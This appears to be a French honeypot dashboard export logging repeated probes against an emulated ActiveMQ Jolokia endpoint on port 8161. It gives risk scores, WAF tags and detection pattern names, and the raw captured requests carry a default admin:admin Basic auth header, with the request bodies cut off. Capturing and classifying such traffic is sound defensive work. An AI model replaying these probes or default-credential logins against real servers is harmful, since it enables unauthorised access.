http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 96 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
